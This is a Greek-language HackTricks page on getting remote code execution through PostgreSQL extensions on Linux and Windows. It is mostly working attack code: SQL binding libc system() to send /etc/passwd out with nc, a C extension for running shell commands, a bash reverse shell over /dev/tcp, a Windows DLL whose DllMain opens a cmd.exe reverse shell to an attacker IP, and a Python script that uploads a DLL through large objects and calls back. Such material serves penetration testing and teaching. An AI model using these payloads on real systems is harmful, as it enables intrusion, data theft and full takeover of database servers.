RCE με PostgreSQL Extensions

Reading time: 12 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

PostgreSQL Extensions

Το PostgreSQL έχει αναπτυχθεί με την επεκτασιμότητα ως βασικό χαρακτηριστικό, επιτρέποντας την απρόσκοπτη ενσωμάτωσή του επεκτάσεων σαν να ήταν ενσωματωμένες λειτουργίες. Αυτές οι επεκτάσεις, ουσιαστικά βιβλιοθήκες γραμμένες σε C, εμπλουτίζουν τη βάση δεδομένων με επιπλέον συναρτήσεις, τελεστές ή τύπους.

Από την έκδοση 8.1 και μετά, επιβάλλεται μια συγκεκριμένη απαίτηση στις βιβλιοθήκες επεκτάσεων: πρέπει να είναι συμπιεσμένες με μια ειδική κεφαλίδα. Χωρίς αυτό, το PostgreSQL δεν θα τις εκτελέσει, διασφαλίζοντας ότι χρησιμοποιούνται μόνο συμβατές και δυνητικά ασφαλείς επεκτάσεις.

Επίσης, να έχετε υπόψη ότι αν δεν ξέρετε πώς να ανεβάσετε αρχεία στον θύμα εκμεταλλευόμενοι το PostgreSQL θα πρέπει να διαβάσετε αυτή την ανάρτηση.

RCE σε Linux

Για περισσότερες πληροφορίες ελέγξτε: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

Η εκτέλεση συστημικών εντολών από το PostgreSQL 8.1 και παλαιότερες εκδόσεις είναι μια διαδικασία που έχει τεκμηριωθεί σαφώς και είναι απλή. Είναι δυνατόν να χρησιμοποιήσετε αυτό: Metasploit module.

sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Γράψτε δυαδικό αρχείο από base64

Για να γράψετε ένα δυαδικό αρχείο σε ένα αρχείο στο postgres, μπορεί να χρειαστεί να χρησιμοποιήσετε το base64, αυτό θα είναι χρήσιμο για αυτό το θέμα:

sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Ωστόσο, όταν επιχειρήθηκε σε μεγαλύτερες εκδόσεις εμφανίστηκε το εξής σφάλμα:

c
ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Αυτό το σφάλμα εξηγείται στην τεκμηρίωση του PostgreSQL:

Για να διασφαλιστεί ότι ένα δυναμικά φορτωμένο αρχείο αντικειμένου δεν φορτώνεται σε έναν ασύμβατο διακομιστή, το PostgreSQL ελέγχει ότι το αρχείο περιέχει ένα “μαγικό μπλοκ” με τα κατάλληλα περιεχόμενα. Αυτό επιτρέπει στον διακομιστή να ανιχνεύει προφανείς ασυμβατότητες, όπως κώδικα που έχει μεταγλωττιστεί για μια διαφορετική κύρια έκδοση του PostgreSQL. Ένα μαγικό μπλοκ απαιτείται από την έκδοση 8.2 του PostgreSQL. Για να συμπεριλάβετε ένα μαγικό μπλοκ, γράψτε αυτό σε ένα (και μόνο ένα) από τα αρχεία πηγής του module, αφού έχετε συμπεριλάβει την κεφαλίδα fmgr.h:

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

Από την έκδοση 8.2 του PostgreSQL, η διαδικασία για έναν επιτιθέμενο να εκμεταλλευτεί το σύστημα έχει γίνει πιο δύσκολη. Ο επιτιθέμενος απαιτείται είτε να χρησιμοποιήσει μια βιβλιοθήκη που είναι ήδη παρούσα στο σύστημα είτε να ανεβάσει μια προσαρμοσμένη βιβλιοθήκη. Αυτή η προσαρμοσμένη βιβλιοθήκη πρέπει να έχει μεταγλωττιστεί κατά της συμβατής κύριας έκδοσης του PostgreSQL και πρέπει να περιλαμβάνει ένα συγκεκριμένο "μαγικό μπλοκ". Αυτό το μέτρο αυξάνει σημαντικά τη δυσκολία εκμετάλλευσης των συστημάτων PostgreSQL, καθώς απαιτεί μια πιο βαθιά κατανόηση της αρχιτεκτονικής και της συμβατότητας έκδοσης του συστήματος.

Συμπιέστε τη βιβλιοθήκη

Αποκτήστε την έκδοση του PostgreSQL με:

sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Για συμβατότητα, είναι ουσιώδες οι κύριες εκδόσεις να ευθυγραμμίζονται. Επομένως, η σύνταξη μιας βιβλιοθήκης με οποιαδήποτε έκδοση εντός της σειράς 9.6.x θα πρέπει να διασφαλίσει επιτυχημένη ενσωμάτωση.

Για να εγκαταστήσετε αυτή την έκδοση στο σύστημά σας:

bash
apt install postgresql postgresql-server-dev-9.6

Και να συντάξετε τη βιβλιοθήκη:

c
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Στη συνέχεια, ανεβάστε τη συμπιεσμένη βιβλιοθήκη και εκτελέστε εντολές με:

bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Μπορείτε να βρείτε αυτή τη βιβλιοθήκη προετοιμασμένη για πολλές διαφορετικές εκδόσεις PostgreSQL και μπορείτε ακόμη να αυτοματοποιήσετε αυτή τη διαδικασία (αν έχετε πρόσβαση στο PostgreSQL) με:

GitHub - dionach/pgexec: Script and resources to execute shell commands using access to a PostgreSQL service

RCE σε Windows

Η παρακάτω DLL δέχεται ως είσοδο το όνομα του δυαδικού και τον αριθμό των φορών που θέλετε να το εκτελέσετε και το εκτελεί:

c
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Μπορείτε να βρείτε το DLL που έχει μεταγλωττιστεί σε αυτό το zip:

Μπορείτε να υποδείξετε σε αυτό το DLL ποιο δυαδικό να εκτελέσει και τον αριθμό των φορών που θα το εκτελέσει, σε αυτό το παράδειγμα θα εκτελέσει το calc.exe 2 φορές:

bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

Στο εδώ μπορείτε να βρείτε αυτό το reverse-shell:

c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Σημειώστε πώς σε αυτή την περίπτωση ο κακόβουλος κώδικας είναι μέσα στη συνάρτηση DllMain. Αυτό σημαίνει ότι σε αυτή την περίπτωση δεν είναι απαραίτητο να εκτελέσετε τη φορτωμένη συνάρτηση στο postgresql, απλώς φορτώνοντας το DLL θα εκτελέσει το reverse shell:

c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

Το PolyUDF project είναι επίσης ένα καλό σημείο εκκίνησης με το πλήρες έργο MS Visual Studio και μια έτοιμη προς χρήση βιβλιοθήκη (συμπεριλαμβανομένων: command eval, exec και cleanup) με υποστήριξη πολλαπλών εκδόσεων.

RCE στις πιο πρόσφατες εκδόσεις του PostgreSQL

Στις πιο πρόσφατες εκδόσεις του PostgreSQL, έχουν επιβληθεί περιορισμοί όπου ο superuser είναι απαγορευμένος από το φόρτωμα αρχείων κοινής βιβλιοθήκης εκτός από συγκεκριμένους καταλόγους, όπως C:\Program Files\PostgreSQL\11\lib στα Windows ή /var/lib/postgresql/11/lib σε συστήματα *nix. Αυτοί οι κατάλογοι είναι ασφαλισμένοι κατά των λειτουργιών εγγραφής είτε από τους λογαριασμούς NETWORK_SERVICE είτε postgres.

Παρά αυτούς τους περιορισμούς, είναι δυνατόν για έναν αυθεντικοποιημένο superuser της βάσης δεδομένων να γράψει δυαδικά αρχεία στο σύστημα αρχείων χρησιμοποιώντας "μεγάλες αντικείμενα." Αυτή η δυνατότητα επεκτείνεται στη γραφή εντός του καταλόγου C:\Program Files\PostgreSQL\11\data, ο οποίος είναι απαραίτητος για τις λειτουργίες της βάσης δεδομένων όπως η ενημέρωση ή η δημιουργία πινάκων.

Μια σημαντική ευπάθεια προκύπτει από την εντολή CREATE FUNCTION, η οποία επιτρέπει την περιήγηση καταλόγων στον κατάλογο δεδομένων. Ως εκ τούτου, ένας αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή την περιήγηση για να γράψει ένα αρχείο κοινής βιβλιοθήκης στον κατάλογο δεδομένων και στη συνέχεια να το φορτώσει. Αυτή η εκμετάλλευση επιτρέπει στον επιτιθέμενο να εκτελεί αυθαίρετο κώδικα, επιτυγχάνοντας εκτέλεση εγγενών κωδίκων στο σύστημα.

Ροή επίθεσης

Πρώτα απ' όλα, πρέπει να χρησιμοποιήσετε μεγάλες αντικείμενα για να ανεβάσετε το dll. Μπορείτε να δείτε πώς να το κάνετε αυτό εδώ:

Big Binary Files Upload (PostgreSQL)

Αφού έχετε ανεβάσει την επέκταση (με το όνομα poc.dll για αυτό το παράδειγμα) στον κατάλογο δεδομένων, μπορείτε να την φορτώσετε με:

c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Σημειώστε ότι δεν χρειάζεται να προσθέσετε την επέκταση .dll καθώς η συνάρτηση create θα την προσθέσει.

Για περισσότερες πληροφορίες διαβάστε την αρχική δημοσίευση εδώ.
Σε αυτή τη δημοσίευση αυτός ήταν ο κώδικας που χρησιμοποιήθηκε για να δημιουργήσει την επέκταση postgres (για να μάθετε πώς να μεταγλωττίσετε μια επέκταση postgres διαβάστε οποιαδήποτε από τις προηγούμενες εκδόσεις).
Στην ίδια σελίδα δόθηκε αυτή η εκμετάλλευση για να αυτοματοποιήσει αυτή την τεχνική:

python
#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks